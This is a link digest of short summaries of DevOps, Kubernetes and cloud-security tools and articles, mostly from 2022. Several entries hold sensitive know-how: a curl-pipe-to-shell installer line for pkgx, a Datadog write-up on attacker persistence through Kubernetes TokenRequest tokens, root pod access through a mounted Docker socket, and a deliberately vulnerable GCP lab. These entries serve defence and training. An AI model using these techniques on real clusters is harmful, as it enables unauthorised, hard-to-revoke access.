    TL;DR: devenv, from Cachix, builds fast, declarative and reproducible developer environments on Nix. A devenv.nix file defines the packages, languages, services and processes for a project.

    • Start: devenv init generates devenv.nix with settings such as env, packages = [ pkgs.git ] and languages.*.
    • Coverage: 50+ languages with tooling, 100,000+ Nixpkgs packages on Linux and macOS (x64 and ARM64, including WSL2), and 40+ services such as PostgreSQL, Redis and MySQL.
    • Processes: A native Rust process manager with dependency ordering, readiness probes and automatic port allocation. Tasks run as a DAG with caching.
    • Speed: Incremental Nix evaluation caching, under 100ms when nothing changed. Version 2.0 (March 2026) added a terminal UI and native shell reloading.
    • Packaging: OCI containers built without Docker, profiles (--profile backend), imports for composition, and polyrepo references.
    • Integrations: direnv, git hooks, devenv test, SecretSpec secrets (keyring, 1Password, dotenv) and an MCP server.

    Takeaway: A friendlier interface to Nix for “clone and get a working environment”. It is well suited to onboarding and to keeping CI and laptops identical.

  • vscode-neovim: Vim Mode for VS Code Using Embedded Neovim
    summary

    TL;DR: vscode-neovim is a VS Code extension that embeds a real Neovim instance as the editing backend, instead of emulating Vim. VS Code handles insert mode and its own features.

    • Approach: Full Neovim backend, so normal and visual modes behave like real Vim. The exceptions are insert mode and some Nvim UI plugins.
    • Config: Supports a custom init.lua and most Neovim plugins.
    • Insert mode: Handled natively by VS Code for lag-free typing.
    • Integration: Works with VS Code LSP, autocompletion, snippets and multi-cursor.
    • Docs cover: Composite escape keys, the jumplist, multiple cursors, remote development, performance and troubleshooting.
    • API: Lua functions vscode.action(name, opts) and vscode.call(name, opts, timeout) call VS Code commands from Neovim config.

    Takeaway: The closest thing to real Vim inside VS Code. Reuse your Neovim keymaps, but expect some UI plugins not to work.

  • images: Public Chainguard Images, Secure Distroless Images
    summary

    TL;DR: The public build configuration for Chainguard Images. These are minimal, hardened OCI images built with apko and published at cgr.dev/chainguard/<image>, with SBOMs and cosign attestations.

    • Usage: docker pull cgr.dev/chainguard/static:latest or .../nginx:latest. The catalog is at images.chainguard.dev.
    • Reproducible builds: Each images/<name>/locked_config.json pins exact package versions, accounts, entrypoint and environment per architecture.
    • Release flow: The release.yaml workflow runs on changes or daily. It calls Terraform with the apko provider to build, publish and tag images.
    • Supply chain: SBOMs and Sigstore cosign attestations are published alongside the images.
    • Local builds: Reproduce with apko and the lock file, as described in BUILDING.md.
    • Repo now: The README describes the current lock-file layout, so the repo has changed since the 2022 public catalogue.

    Takeaway: A good source of low-CVE base images with signed provenance. Check which tags are free and which need a subscription before standardising on them.

  • finch: Open Source Client for Container Development
    summary

    TL;DR: Finch, from AWS, is an open source client for container development. It bundles nerdctl, containerd and BuildKit inside a Lima-managed VM, behind one simple installer and CLI.

    • Components: The finch CLI wraps nerdctl for build, run, push and pull. containerd manages containers, BuildKit builds OCI images and Lima runs the VM.
    • Philosophy: An opinionated distribution that promotes existing projects, rather than adding more options to reason about.
    • macOS: Install with brew install --cask finch or a package. Requires macOS Catalina (10.15)+. Run finch vm init once, which takes about a minute.
    • Windows: Supported on Windows 10 version 2004 (build 19041)+ on AMD64.
    • Commands: Most common nerdctl commands work, though not 100% of upstream. The nerdctl reference serves as docs.
    • Security note: The README says the VM does not create a security boundary, and exists only to run Linux containers.

    Takeaway: A free, open source alternative to Docker Desktop for local builds. Do not treat its VM as isolation for untrusted workloads.

  • kubectl-foreach: Run kubectl Commands in All or Some Contexts in Parallel
    summary

    TL;DR: kubectl-foreach, by ahmetb, runs a kubectl command across many kubeconfig contexts in parallel, like GNU parallel or xargs for cluster fleets.

    • Syntax: kubectl foreach [OPTIONS] [PATTERN]... -- [KUBECTL_ARGS...].
    • Matching: Empty matches all contexts. Use an exact name, /regex/, or prefix ^ to exclude.
    • Options: -c NUM caps parallelism, -I VAL substitutes the context name into arguments, and -q skips confirmation prompts ($KUBECTL_FOREACH_DISABLE_PROMPTS).
    • Output: Each line is prefixed with the context name. Example: kubectl foreach /-prod/ minikube -- get pods -n kube-system ....
    • Install: kubectl krew install foreach, or go install (without update notifications).

    Takeaway: Handy for fleet-wide queries. Keep the confirmation prompt on for write commands, and use -c to avoid overloading API servers.

  • gh-actions-importer: Plan and Automate Migration of CI Pipelines to GitHub Actions
    summary

    TL;DR: GitHub Actions Importer is GitHub’s tool for planning, testing and automating CI migrations to GitHub Actions from Azure DevOps, Bamboo, Bitbucket, CircleCI, GitLab, Jenkins and Travis CI.

    • Distribution: A Docker container driven by a GitHub CLI extension. Install with gh extension install github/gh-actions-importer.
    • Prerequisites: Docker running, the gh CLI, and credentials for GitHub Container Registry.
    • Updates: gh actions-importer update pulls the latest version, which is released regularly.
    • Credentials: gh actions-importer configure prompts for values such as GITHUB_ACCESS_TOKEN, stored in environment variables or .env.local.
    • Registry: GitHub recommends pulling the image from the official GitHub Container Registry. Custom registries are supported.
    • Support: Through GitHub Support tickets.

    Takeaway: Use it to inventory and convert existing pipelines in bulk. Review the generated workflows by hand, especially secrets and runner choices.

  • Three Recurring Security Hub Usage Patterns and How to Deploy Them
    summary

    TL;DR: AWS Security Solutions Architects describe the three most common ways customers deploy AWS Security Hub, with stakeholders, value and setup steps for each.

    • Background: Security Hub aggregates findings from GuardDuty, Inspector, Firewall Manager, AWS Health and partners, normalised to the AWS Security Findings Format (ASFF). It also integrates with AWS Organizations.
    • Pattern 1, app owner dashboard: Read-only visibility for workload owners, through a role with the AWS managed AWSSecurityHubReadOnlyAccess policy. Optional custom insights.
    • Pattern 2, single pane of glass: Security teams view, triage and act on findings across accounts and Regions, using standards-based automated checks.
    • Automation: EventBridge-driven responses filtered on ASFF attributes, to improve MTTD and MTTR.
    • Pattern 3, SIEM routing: Security Hub as the aggregation point that forwards normalised findings to an existing SIEM or log tool, common in hybrid environments.
    • Trade-off: Pattern 2 gives central visibility without the cost and complexity of running a SIEM.

    Takeaway: Pick a pattern by audience. Most organisations combine them: read-only for app teams, a central view for security, and export to a SIEM where one exists.

  • nx: Next Generation Build System with First-Class Monorepo Support
    summary

    TL;DR: Nx, from Nrwl, is a build system and monorepo tool for TypeScript and polyglot codebases. It is written in Rust and extensible in TypeScript. It caches unchanged work and runs only the projects a change affects.

    • Adoption: npx nx init in any npm, pnpm or yarn workspace picks up existing package.json scripts and caches their outputs, with no setup changes.
    • Affected runs: Executes only tasks affected by a change, with local and remote caching.
    • Plugins: Optional plugins discover tasks, configure cache inputs and outputs, and scaffold code. They cover Vite, Webpack, Jest, Vitest, ESLint, Gradle, Maven, .NET, Go and more.
    • CI: Integrates with GitHub Actions, GitLab, Azure and others for remote caching, distribution across machines and automatic e2e test splitting.
    • Repo now: The README now pitches Nx as “AI-native” and describes a “self-healing CI” agent that proposes and verifies fixes, with MCP integration. That is newer than the 2022 listing.
    • Team: Core team includes Victor Savkin, Jason Jean, Benjamin Cabanes and Jack Hsu.

    Takeaway: Start with nx init on an existing workspace to get caching and affected-only CI. Adopt plugins and paid CI features only where they pay off.

  • tea: The Unified Package Manager (brew2)
    summary

    TL;DR: tea was a “brew2” unified package manager. The repo now resolves to pkgxdev/pkgx: pkgx, a 4 MiB standalone binary that runs any tool, at any version, without installing it system-wide.

    • Renamed: github.com/teaxyz/cli redirects to pkgxdev/pkgx. The tea CLI became pkgx.
    • Install: brew install pkgx || curl https://pkgx.sh | sh. On Windows 10+, irm https://pkgx.sh | iex, with limited packages.
    • Run without installing: pkgx deno runs Deno, while deno alone is still “command not found”. Your wider system is untouched.
    • Any version: pkgx node@14 --version and pkgx python@2 --version.
    • Platforms: macOS 11+ (Intel and Apple Silicon), Linux with glibc 2.28+ and libgcc (x86_64 and arm64), WSL2, and experimental native Windows.
    • Elsewhere: The pkgxdev/pkgx Docker image, the pkgxdev/setup@v4 GitHub Action, and shebangs such as #!/usr/bin/env -S pkgx +git python@3.12.

    Takeaway: Useful for ephemeral, pinned tool versions in scripts and CI. The “unified package manager” pitch from 2022 now lives on as pkgx.

  • infisical: Open-Source, End-to-End Encrypted Tool to Sync Environment Variables
    summary

    TL;DR: Infisical started as an open source, end-to-end encrypted tool for syncing environment variables. Its MIT-licensed repo now describes a broader security platform for secrets, certificates, privileged access and AI agent access.

    • Secrets: A dashboard per project and environment, versioning with point-in-time recovery, and rotation for PostgreSQL, MySQL and AWS IAM. Dynamic ephemeral secrets and expiring share links.
    • Delivery: Secret Syncs to GitHub, Vercel and AWS, plus Terraform and Ansible integrations. A Kubernetes Operator with auto-reload and an agent for injection without code changes.
    • Detection: Honey tokens that alert on use. Repository scanning for GitHub, GitLab and Bitbucket history, and a CLI pre-commit hook that blocks secrets.
    • Certificates: Internal CA, external CAs (Let’s Encrypt, DigiCert, Microsoft AD CS), ACME, EST and SCEP enrollment, discovery, syncs to ACM and Azure Key Vault, and code signing.
    • Deployment: Infisical Cloud or self-hosting.
    • Scope change: The project grew from env-var sync (the 2022 title) into a wide security platform.

    Takeaway: A strong open source alternative to Vault or Doppler for app secrets. Evaluate self-hosting and which features need paid tiers.

  • registry.k8s.io: Faster, Cheaper and Generally Available (GA)
    summary

    TL;DR: A Kubernetes blog post by Adolfo Garcia Veytia (Chainguard) and Bob Killen (Google), November 28, 2022. It announces that registry.k8s.io replaces k8s.gcr.io as the project’s image registry, spreading load across cloud providers like a CDN.

    • Cutover: Images for Kubernetes 1.25 and later go only to registry.k8s.io. December 2022 patch releases backported the new default to 1.22, 1.23 and 1.24.
    • Why: Less reliance on one vendor and faster downloads. Google renewed a $3 million infrastructure donation, and Amazon matched it at KubeCon NA 2022.
    • Mechanism: A secure blob redirector that sends clients to the closest backend. Load is split between Google and Amazon, with more providers to come.
    • Restricted networks: No stable list of domains or IPs is published. Allowlists for k8s.gcr.io break, so mirror images to a private registry.
    • Caveat: The page notes the article is more than one year old.

    Takeaway: Update manifests, allowlists and mirrors to registry.k8s.io. In locked-down environments, mirror release images instead of chasing backend IPs.

  • Attacker Persistence in Kubernetes Using the TokenRequest API: Overview, Detection, and Prevention
    summary

    TL;DR: Rory McCune at Datadog Security Labs shows how attackers can abuse the Kubernetes TokenRequest API (kubectl create token, added in 1.24) for long-lived, hard-to-detect persistence. He also covers detection in audit logs and prevention.

    • No revocation: You cannot revoke issued tokens directly. The only way is to delete the bound object (service account, pod or secret), which is impractical for system accounts.
    • Long lifetimes: --duration accepts any value by default, for example one year. EKS caps tokens at 24 hours.
    • No inventory: The API keeps no record of issued tokens. Audit logs of creation events are the only trail.
    • Prevention: Restrict RBAC on the serviceaccounts/token subresource, and be careful with wildcard roles such as admin and cluster-admin.
    • Detection signals: The requesting user and IP, the target object (for example clusterrole-aggregation-controller, which has effective cluster-admin), and the kubectl user-agent, which attackers can spoof.
    • Audit level: expirationSeconds appears only at Request audit level or higher on 1.22+. The Metadata default on EKS and AKS hides it.

    Takeaway: Alert on TokenRequest calls against privileged service accounts, and lock down who can create tokens. Ask your provider about audit levels on managed clusters.

  • kubectl-plugins: Collection of Plugins for kubectl Integration
    summary

    TL;DR: A collection of Bash kubectl plugins by Jordan Wilson for kubectl 1.12+, some also on krew. Includes ssh, switch, prompt, image, ip and uptime.

    • kubectl ssh: Like exec, but with -u to run as root or any user. It works by mounting the Docker socket as a volume. Example: kubectl ssh -n default -u root -c prometheus <pod> -- bash.
    • Other plugins: switch (context and namespace), prompt (a shell prompt with cluster context), image, ip (needs jq) and uptime.
    • Install: git clone ..., ./install-plugins.sh, then source ~/.bash_profile. Uninstall steps use ex to clean the profile.
    • Compatibility: Works with BSD and GNU tools and requires Bash. Use the 1.11.0 branch for older kubectl.

    Takeaway: Convenient helpers, but kubectl ssh depends on Docker socket access to run as root. It will not work on containerd-only nodes, and it is a privilege red flag in hardened clusters.

  • Announcing Delegated Administrator for AWS Organizations
    summary

    TL;DR: An AWS announcement (November 27, 2022): AWS Organizations now supports delegated administrators for policy management. Member accounts can manage selected policy types without access to the management account.

    • Policy types: Backup policies, service control policies (SCPs), tag policies and AI services opt-out policies.
    • Granularity: You specify which actions the delegated account may perform.
    • Experience: Delegated users manage, and create, the policies they are permitted to in the Organizations console.
    • Goal: Decentralise policy administration to lines of business while limiting access to the highly privileged management account.
    • Availability: GA in all commercial AWS Regions.

    Takeaway: Move day-to-day SCP and tag policy work out of the management account into a delegated security or governance account. Scope its permissions tightly.

  • kubecolor: Colorizes kubectl Output
    summary

    TL;DR: kubecolor, by hidetatz, wraps kubectl and colourises its output, and does nothing else. This repository is archived.

    • Status: GitHub marks hidetatz/kubecolor as archived.
    • Usage: alias kubectl="kubecolor". A safer version is command -v kubecolor >/dev/null 2>&1 && alias kubectl="kubecolor", for synced dotfiles.
    • Behaviour: Calls kubectl internally. Unsupported subcommands still pass through uncoloured, and errors are highlighted.
    • Themes: --light-background for light terminals.
    • Coverage: Not all subcommands are colourised yet, according to the README.

    Takeaway: The idea is good, but this repo is archived. Look for a maintained fork before adopting it.

  • Black Hat USA 2022
    summary

    (Could not fetch full text.)

    TL;DR: A YouTube playlist of recorded talks from Black Hat USA 2022, the security conference held in Las Vegas and online in August 2022.

    • Event: Black Hat USA 2022 ran as a hybrid event with more than 90 technical Briefings, per Black Hat’s press material.
    • Keynotes: Chris Krebs (“Black Hat at 25: Where Do We Go from Here?”) and journalist Kim Zetter gave the keynotes.
    • Format: A playlist of session recordings, so content covers many unrelated research talks rather than one topic.
    • Source caveat: The playlist page returned only its title; the track list could not be read. Summary based on the title and Black Hat 2022 press coverage found via search.

    Takeaway: Use it to browse Black Hat 2022 research talks by title and pick those relevant to your stack. Check the conference archive for matching slides and white papers.

  • AWS re:Invent 2022: Security Track
    summary

    (Could not fetch full text.)

    TL;DR: The link opens the re:Invent 2022 session SEC203, “Revitalize your security with the AWS Security Reference Architecture”, inside AWS’s re:Invent 2022 security track playlist.

    • Speakers: Sarah Currey (AWS Professional Services) and Johnny Ray (Amazon Managed Services); a 200-level breakout.
    • Topic: The AWS Security Reference Architecture (SRA), a multi-account guide for deploying the full set of AWS security services.
    • Uses shown: Bootstrapping a security architecture and defining a target security state.
    • Living document: The SRA is described as continuously updated as customer needs change.
    • Playlist: The list= parameter points to the wider re:Invent 2022 security track, so other sessions follow in the same playlist.
    • Source caveat: Video page gave only the title; details come from the AWS re:Invent session catalog blog and a Classmethod session report found via search.

    Takeaway: Watch it if you are designing a multi-account AWS security baseline. Pair it with the AWS SRA prescriptive guidance docs and the SRA code examples on GitHub.

  • Sigstore the Easy Way
    summary

    TL;DR: Sigstore The Easy Way is a hands-on guide by Rewanth Tammana to signing and verifying container images with the Sigstore toolset.

    • Cosign: Sign and verify images with a key and keyless; attach, attest and verify artifacts; download artifacts.
    • Rekor: Upload artifacts to the public and to a private Rekor transparency log, query the log, compare registry signatures with log entries.
    • Fulcio: Analyze the short-lived code-signing certificates used for keyless signing.
    • SBOM: Use cases, formats and generation of software bills of materials.
    • Scope: Works on container images and pulls in non-Sigstore tools where needed.
    • Format: MkDocs site backed by the rewanthtammana/sigstore-the-easy-way GitHub repo, created November 2022.

    Takeaway: A good lab path for learning cosign signing, keyless flows and transparency logs before adding image signing to a CI pipeline.

  • Ian Mckay’s Top 10 Favorite / Most Impactful re:Invent Announcements
    summary

    TL;DR: A December 2022 thread by AWS Community Hero Ian Mckay ranking his top 10 re:Invent 2022 announcements.

    • #10-#8: Amazon Inspector scanning Lambda packages (Java, Node, Python); AWS Verified Access, an identity-aware ZTNA proxy; delegated admin accounts for Organizations and AWS Backup.
    • #7: KMS external key stores for CMK key material, with a note that AWS warns of the risks.
    • #6-#5: Zero-ETL style feeds into Redshift from S3, RDS, Kinesis and MSK; EventBridge Pipes for service-to-service data pipelines with filtering and enrichment.
    • #4: Amazon Verified Permissions, an authorization engine using the new Cedar policy language.
    • #3-#2: Step Functions Distributed Map (up to 10k concurrent child executions); Lambda SnapStart for Java cold starts.
    • #1: VPC Lattice, likened to PrivateLink via a link-local address, with IAM auth and cross-account routing.

    Takeaway: A fast, security-leaning digest of re:Invent 2022. Verified Access, Verified Permissions and Lattice are the items most relevant to access control design.

  • Introducing VPC Lattice: Simplify Networking for Service-to-Service Communication (Preview)
    summary

    TL;DR: Danilo Poccia’s AWS News Blog post (29 Nov 2022) announcing the preview of Amazon VPC Lattice, an application-layer service network for service-to-service traffic.

    • Status: A note at the top says VPC Lattice became generally available on 31 March 2023.
    • Service network: A logical boundary across VPCs and accounts that provides discovery via DNS, connectivity and shared access and observability policies.
    • Protocols: Listeners support HTTP/1.1, HTTP/2 and gRPC, including HTTPS.
    • Targets: EC2 instances, IP addresses, Lambda functions, and Kubernetes services and pods via the AWS Gateway Controller.
    • Security: Access policies are IAM resource policies on the service network or service; sharing uses AWS RAM.
    • Routing: Rule-based and weighted routing for blue/green and canary deployments; handles IPv4/IPv6 and overlapping IPs.

    Takeaway: Lattice is an AWS-managed alternative to a service mesh or PrivateLink sprawl for cross-VPC service calls. Check the GA docs, as preview details changed.

  • New in Go 1.20: Wrapping Multiple Errors
    summary

    TL;DR: Lukáš Zapletal explains Go error wrapping and the Go 1.20 change that lets one error wrap several others.

    • Recap: Since Go 1.13, fmt.Errorf with %w wraps an error; errors.Is and errors.As walk the chain.
    • errors.Join: New in 1.20, joins a variadic list of errors; output is newline-separated, which can surprise log tooling.
    • Multiple %w: fmt.Errorf("%w + %w", err1, err2) is now valid.
    • Unwrap() []error: A type can implement this instead of Unwrap() error, but not both.
    • Traversal: Wrapped errors become a tree; errors.Is/As do a pre-order, depth-first walk.
    • Use case: Collecting errors from goroutines when the count is unknown in advance.

    Takeaway: On Go 1.20+, use errors.Join or multiple %w instead of third-party multierror packages. Watch for newlines in joined messages.

  • Visualizing Multi-Cloud IAM Concepts
    summary

    TL;DR: Julian Wiegmann’s November 2022 post sharing hand-drawn mind maps of IAM concepts and terminology for AWS, Azure and GCP.

    • Content: One diagram per cloud, drawn in Miro, with links to JPG and vector PDF versions hosted on Google Cloud Storage.
    • Motivation: The author moved from security operations to cloud security and found the three clouds’ IAM terms and GCP’s lack of visuals confusing.
    • Caveats: Not a complete picture; federation and service-specific IAM (such as database admins) are not all shown, and accuracy is not guaranteed.
    • Printing: Best printed at A3.
    • Positioning: The author says it is not exam study material; read the provider docs and test in each cloud.
    • Source caveat: Medium blocked direct access; content read through the Freedium mirror.

    Takeaway: Useful as a side-by-side map when you work across clouds and need to translate IAM terms. Verify details against provider docs.

  • pike: Determine the Permissions or Policy Required for IaC Code
    summary

    TL;DR: Pike, by James Woolfenden, statically scans Terraform/OpenTofu code to determine the minimum IAM permissions needed to deploy it.

    • Providers: AWS (most resources), GCP and Azure (newest).
    • Usage: pike scan -d ./path/to/your/terraform outputs the required permissions or a policy.
    • Install: brew install jameswoolfenden/tap/pike, Scoop on Windows, or go install github.com/jameswoolfenden/pike@latest.
    • Newer features: JSON module support, GCP compare against a deployed role, S3 and GCP backend detection.
    • Caveat: Output has no conditions and partial resources are wild-carded; some GCP org-level entries are placeholders without validated permissions.
    • Short-lived creds: Can generate short-lived credentials for builds (AWS so far).

    Takeaway: Use Pike as a starting point for least-privilege CI deploy roles, then tighten the generated policy by hand.

  • How to Detect Security Issues in Amazon EKS Clusters Using Amazon GuardDuty: Part 1
    summary

    TL;DR: Part 1 of an AWS Security Blog series (22 Nov 2022) walking through a real-world EKS compromise and how Amazon GuardDuty detects each step.

    • Prerequisites: GuardDuty with Kubernetes Protection and Malware Protection enabled.
    • Root cause: A developer granted RBAC access to system:anonymous to reach the public cluster endpoint without VPN.
    • Phases: Misconfiguration, Discovery, Initial Access (reading Kubernetes secrets), Persistence and Impact, mapped to MITRE ATT&CK.
    • Defaults noted: EKS endpoints are public by default; the cluster creator gets system:masters.
    • Findings: Shows which GuardDuty findings fire at each phase.
    • Part 2: Covers Amazon Detective investigation, remediation and preventive controls.

    Takeaway: Enable GuardDuty EKS protection and never bind system:anonymous. Use the phases as a tabletop scenario for EKS incident response.

  • kubie: A More Powerful Alternative to kubectx and kubens
    summary

    TL;DR: kubie is a Rust CLI alternative to kubectx, kubens and prompt scripts, isolating Kubernetes context and namespace per shell.

    • Per-shell context: Each shell has its own context and namespace, so switching in one terminal does not affect others.
    • Split configs: Loads contexts from multiple kubeconfig files in configurable paths.
    • Commands: kubie exec runs a command in a context and namespace without spawning a shell; kubie lint checks kubeconfig files.
    • Install: brew install kubie, cargo install kubie, MacPorts, Nix, Arch pacman -S kubie, or release binaries.
    • Status: README points to issue #385 about the future of kubie development.

    Takeaway: Good fit if you juggle many clusters in parallel terminals and want to avoid running commands in the wrong context. Check issue #385 before adopting.

  • Managing Pod Security on Amazon EKS with Kyverno
    summary

    TL;DR: AWS Containers blog post (Jimmy Ray, with Nirmata’s Jim Bugwadia, 30 Nov 2022) on using Kyverno alongside Kubernetes Pod Security Admission on EKS.

    • PSA/PSS: Pod Security Standards define 17 controls in three levels (Privileged, Baseline, Restricted); PSA modes are enforce, audit and warn.
    • EKS default: From EKS 1.23, PSA is on but set to privileged for all pods, so nothing is enforced unless namespaces opt in.
    • Labels: Opt in with pod-security.kubernetes.io/<MODE>: <LEVEL> and optional version pinning.
    • Limitation: EKS does not allow custom PSA static config, and PSA applies per namespace with no per-pod exceptions.
    • Kyverno: Adds granular exceptions and extra behaviors on top of PSA/PSS.

    Takeaway: Label namespaces with PSA levels on EKS, and use Kyverno where you need per-workload exceptions or stricter rules.

  • wtf: The Personal Information Dashboard for Your Terminal
    summary

    TL;DR: WTF (wtfutil) is an open-source Go terminal dashboard showing at-a-glance stats and data from many sources.

    • Purpose: A personal information dashboard for your terminal, built from configurable modules.
    • License: MPL-2.0.
    • Install: Homebrew, go install, MacPorts or a release binary.
    • Rename: README says the project is being renamed to Tessera and moving to github.com/linodians/tessera ahead of v1.0.
    • Funding: Supported via GitHub Sponsors.

    Takeaway: Handy for a terminal status board of services you check rarely. Track the Tessera repo for future releases.

  • Google Cloud Infrastructure Reliability Guide
    summary

    TL;DR: Google Cloud’s Architecture Center guide to designing reliable infrastructure on GCP, covering building blocks, requirements, design and operations.

    • Parts: Building blocks (zones, regions, location-scoped resources), assessing reliability requirements, designing infrastructure, managing traffic and load, and managing and monitoring.
    • Availability math: 99.99% allows at most 8.64 seconds of downtime per 24 hours, or 10 failures per 100,000 requests.
    • Indicators: Availability, latency, throughput, durability and data correctness, by workload type.
    • Factors: App design, dependencies, infrastructure, capacity and DevOps processes all affect reliability.
    • DR: Points to a separate disaster recovery planning guide.
    • Updates: Page shows last review in 2026 with release notes, so content has changed since 2022.

    Takeaway: Read it before choosing zonal, regional or multi-regional deployments on GCP. Set availability targets first, then map them to resource scope.

  • YaraHunter: Malware Scanner for Cloud-Native, in CI/CD and at Runtime
    summary

    TL;DR: YaraHunter from Deepfence scans container images, running Docker containers and filesystems for malware using YARA rules.

    • Modes: CI/CD build scanning, images at rest, running containers, and local filesystems.
    • Rules: Uses the deepfence/yara-rules ruleset to match known malware signatures.
    • Form factor: Runs as a Docker container (quay.io/deepfenceio/deepfence_malware_scanner_ce) with JSON output for automation.
    • Example: Scanning the metal3d/xmrig image to find the XMRig cryptominer.
    • Status: Described as work in progress and integrated into the ThreatMapper platform.

    Takeaway: A simple way to add malware signature checks to image pipelines, complementing CVE scanners that do not look for malware.

  • A Roadmap to Zero Trust Architecture
    summary

    (Could not fetch full text.)

    TL;DR: A vendor-agnostic Zero Trust reference architecture and implementation roadmap, launched in 2022 by Cloudflare with a group of security practitioners.

    • Structure: Four implementation phases with an example timeline, aimed at organizations starting their Zero Trust work.
    • Topics: Global DNS filtering, corporate identity, an inventory of corporate applications, enforced MFA, and finding misconfigured or publicly shared SaaS data.
    • Timeline: A full program is said to take about 2 to 3 years and stay ongoing.
    • Steps: Cloudflare’s related download lists 28 steps with dependencies and time estimates.
    • Source caveat: The site now sits behind a Cloudflare Access login. Summary based on a Cloud Security Alliance article and Cloudflare landing pages found via search.

    Takeaway: Use the phased roadmap to sequence Zero Trust work, starting with identity, MFA and app inventory. Get it now from Cloudflare’s roadmap page.

  • GCPGoat: A Damn Vulnerable GCP Infrastructure
    summary

    TL;DR: GCPGoat from INE is a deliberately vulnerable GCP environment, deployed with Terraform, for practicing cloud attack and defense.

    • Vulnerabilities: XSS, IDOR, SSRF on Cloud Functions, sensitive data exposure and password reset, Storage bucket misconfigurations, IAM privilege escalation.
    • Basis: OWASP Top 10 2021 plus misconfigurations in IAM, Storage, Cloud Functions and Compute Engine.
    • Stack: GCP, React, Python 3 and Terraform; black-box approach with multiple escalation paths.
    • Use: Cloud pentesting and red teaming, IaC auditing, secure coding, detection and mitigation.
    • Prerequisite: A GCP account with admin privileges; manual install needs Linux with bash.
    • Presented: Black Hat Asia 2023 Arsenal.

    Takeaway: Deploy it in an isolated throwaway project to practice GCP privilege escalation, then tear it down. Do not run it in a shared org.

27.10.2022

  • Istio: Introducing Ambient Mesh
    summary

    TL;DR: The September 2022 Istio blog post by Google and Solo.io engineers introducing ambient mesh, a sidecar-less Istio data plane mode.

    • Sidecar problems: Injection requires pod restarts, per-pod proxies are sized for worst case and waste resources, and HTTP processing can break non-conformant apps.
    • Two layers: A secure L4 overlay for routing and zero trust, plus optional L7 processing when needed.
    • ztunnel: A shared per-node agent that redirects workload traffic and provides mTLS, telemetry, authentication and L4 authorization, with no L7 processing.
    • Incremental adoption: Move per namespace from no mesh to secure overlay to full L7, and mix with sidecar workloads.
    • Status: Launched as a preview; a banner on the page now says ambient mode is generally available.

    Takeaway: Ambient mode lowers the cost of getting mTLS across a cluster. Start with the L4 overlay and add L7 only for namespaces that need it.

  • The Complete Guide to AWS KMS
    summary

    (Could not fetch full text.)

    TL;DR: Noga Yam Amitai’s September 2022 Lightspin blog guide to AWS KMS key types and access control.

    • Key types: Customer managed keys (you control access, rotation, policy), AWS managed keys (aws/service-name, rotated yearly, not editable) and AWS owned keys (not visible or auditable).
    • Inspect: aws kms describe-key --key-id KEY-ID --region REGION shows KeyManager as CUSTOMER or AWS.
    • Choosing: Neither type is more secure by default; AWS managed keys leave less room for misconfiguration, customer managed keys give more control and allow imported key material.
    • Access control: Key policies, IAM policies and grants; access needs an explicit allow in at least one and no deny (grants cannot deny).
    • Key policy: Each KMS key has exactly one key policy, the primary access control.
    • Source caveat: The live page is behind a Cloudflare challenge; summary based on the first part of a 2022 Wayback Machine copy.

    Takeaway: Audit KMS key policies and grants together, since either can grant access. Use customer managed keys where you need tight cross-account control.

  • matano: Open-Source Security Lake Platform for AWS
    summary

    TL;DR: Matano is an open-source, serverless security data lake for AWS, written in Rust, from Matano Labs.

    • Ingest: 50+ managed log sources (such as CloudTrail and Route53) plus custom sources.
    • Transform: VRL (Vector Remap Language) scripts parse, enrich and normalize logs on ingest.
    • Storage: Apache Iceberg tables with the Elastic Common Schema (ECS), queryable from Athena, Snowflake, Spark or Trino.
    • Detection-as-code: Realtime Python detections, with import of Sigma rules.
    • Use cases: Reduce SIEM costs, add context to an existing SIEM, or replace an ELK/Elastic Security stack.
    • Commercial: The README notes Matano now also offers a managed commercial Cloud SIEM.

    Takeaway: Worth a look if SIEM ingest costs hurt and you want security logs in open formats in your own AWS account.

  • aws-security-assessment-solution: AWS Self-Service Security Assessment Tool
    summary

    TL;DR: An AWS Labs solution that deploys an inexpensive, self-service security assessment of AWS accounts, built on the open-source Prowler scanner.

    • Engine: Runs Prowler point-in-time checks against AWS best practices and produces a report.
    • Version: README describes v2.0, installing a pinned Prowler release (5.41.0 at time of reading) via pip in a CodeBuild template.
    • Upgrade: Change the pip3 install prowler== line in 2-sat2-codebuild-prowler.yaml.
    • Continuous option: AWS recommends Security Hub’s Foundational Security Best Practices standard for ongoing checks.
    • Caveat: Prowler is not AWS-owned; review it before running.
    • Guide: Step-by-step instructions in module 2 of the SHIP Workshop.

    Takeaway: A fast way to baseline an account with no security tooling. Move to Security Hub for continuous monitoring afterwards.

  • plumber: Swiss Army Knife CLI for Interacting with Kafka, RabbitMQ and Other Messaging Systems
    summary

    TL;DR: plumber is a Go CLI, “like curl for messaging systems”, for reading, writing and relaying data in Kafka, RabbitMQ, GCP Pub/Sub and other brokers.

    • Features: View stream contents, write plain or encoded messages, route data between systems.
    • Decoding: Realtime protobuf, Avro, Thrift and JSON decoding, including google.protobuf.Any fields.
    • Example: plumber write kafka --topics test --input foo.
    • Install: brew tap streamdal/public then brew install plumber, or a single binary per OS.
    • Ownership: The repo now redirects to streamdal/plumber, and the tool relays data to the Streamdal platform.

    Takeaway: Saves writing throwaway consumers when debugging event-driven systems. Use it to peek into topics and queues.

  • Understanding Basic Networking in GKE: Networking Basics
    summary

    TL;DR: Google Cloud blog post (August 2022, Ammett Williams and Abdel Sghiouar) explaining IP addressing and networking components in GKE.

    • Components: Containers, Pods, Nodes, ClusterIP services, load balancers and Ingress for HTTP(S).
    • Host formula: Google Cloud subnets give 2^n - 4 usable hosts, not the on-premises 2^n - 2.
    • Node IPs: Come from the cluster’s VPC; internal load balancer IPs default to the node IPv4 block.
    • Pod ranges: Default max is 110 Pods per node; doubled to 220 and rounded to a /24 per node, configurable at creation.
    • Service IPs: ClusterIPs come from a separate reserved range in VPC-native clusters.

    Takeaway: Size node, Pod and Service ranges before you create a VPC-native cluster. The /24-per-node default consumes address space fast.

  • Scaling Cross-Account AWS KMS-Encrypted Amazon S3 Bucket Access Using ABAC
    summary

    TL;DR: AWS Security Blog post (September 2022, Jorg Huser and Ravi Sankar Prasad Kadiri) on sharing KMS-encrypted S3 data lake buckets across many accounts using attribute-based access control.

    • Scenario: One central data lake account sharing to many tenant accounts, for services not using Lake Formation.
    • Org restriction: aws:PrincipalOrgID in trust and resource policies limits access to your AWS Organization, even with Principal: *.
    • ABAC: Session tags on the assumed role are matched with S3 object tags, so fewer roles and policies are needed.
    • Identity source: A SAML IdP can pass employee attributes as session tags via STS.
    • Cross-account needs: Bucket policy, KMS key policy and the caller’s IAM policy must all grant access.

